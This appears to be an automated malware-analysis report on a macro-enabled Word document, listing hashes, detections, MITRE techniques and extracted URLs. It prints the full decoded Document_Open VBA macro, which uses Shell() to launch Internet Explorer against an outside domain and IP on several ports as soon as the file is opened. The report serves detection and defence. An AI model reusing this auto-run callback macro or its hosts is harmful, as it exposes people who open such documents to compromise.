Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 4fabf8d91ca2bf0e…

MALICIOUS

Office (OOXML)

16.5 KB Created: 2014-03-24 15:57:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-08-25
MD5: eaead7bb1b7229b5bd7af112b65b46a7 SHA-1: f2d998aab101194077c465880a035a2b213685ac SHA-256: 4fabf8d91ca2bf0eb34a98271a76b0a166fc873b4d8ef0883a3dff5fc67df7d6
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains a Document_Open VBA macro that utilizes the Shell() function to execute Internet Explorer. The script attempts to download payloads from multiple URLs, including 'http://www-direct.crest-approved.org' and 'http://46.252.73.45'. This behavior is indicative of a dropper or downloader malware.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-7352312-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7352312-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www-direct.crest-approved.org?bch=ping In document text (OOXML body / shared strings)
    • http://46.252.73.45?bch=pingIn document text (OOXML body / shared strings)
    • http://www-direct.crest-approved.org:8080?bch=pingIn document text (OOXML body / shared strings)
    • http://46.252.73.45:8080?bch=pingIn document text (OOXML body / shared strings)
    • http://www-direct.crest-approved.org:53?bch=pingIn document text (OOXML body / shared strings)
    • http://46.252.73.45:53?bch=pingIn document text (OOXML body / shared strings)
    • http://www-direct.crest-appThisDocumentIn document text (OOXML body / shared strings)
    • http://www-direct.crest-approved.orIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 829 bytes
SHA-256: f802b4ab89fb31ca0139ee575fb539029e1f1bc03a5cabeaa7eb9188735762db
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True




Sub Document_Open()

Shell ("c:\progra~1\intern~1\iexplore http://www-direct.crest-approved.org?bch=ping")
Shell ("c:\progra~1\intern~1\iexplore http://46.252.73.45?bch=ping")

Shell ("c:\progra~1\intern~1\iexplore http://www-direct.crest-approved.org:8080?bch=ping")
Shell ("c:\progra~1\intern~1\iexplore http://46.252.73.45:8080?bch=ping")

Shell ("c:\progra~1\intern~1\iexplore http://www-direct.crest-approved.org:53?bch=ping")
Shell ("c:\progra~1\intern~1\iexplore http://46.252.73.45:53?bch=ping")

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 8704 bytes
SHA-256: 6482f54a3b2a247970b36f5a7b4950a68e8c3ac46a0d51073db604bbb1501997
Detection
ClamAV: Doc.Dropper.Agent-7352312-0
Obfuscation or payload: unlikely

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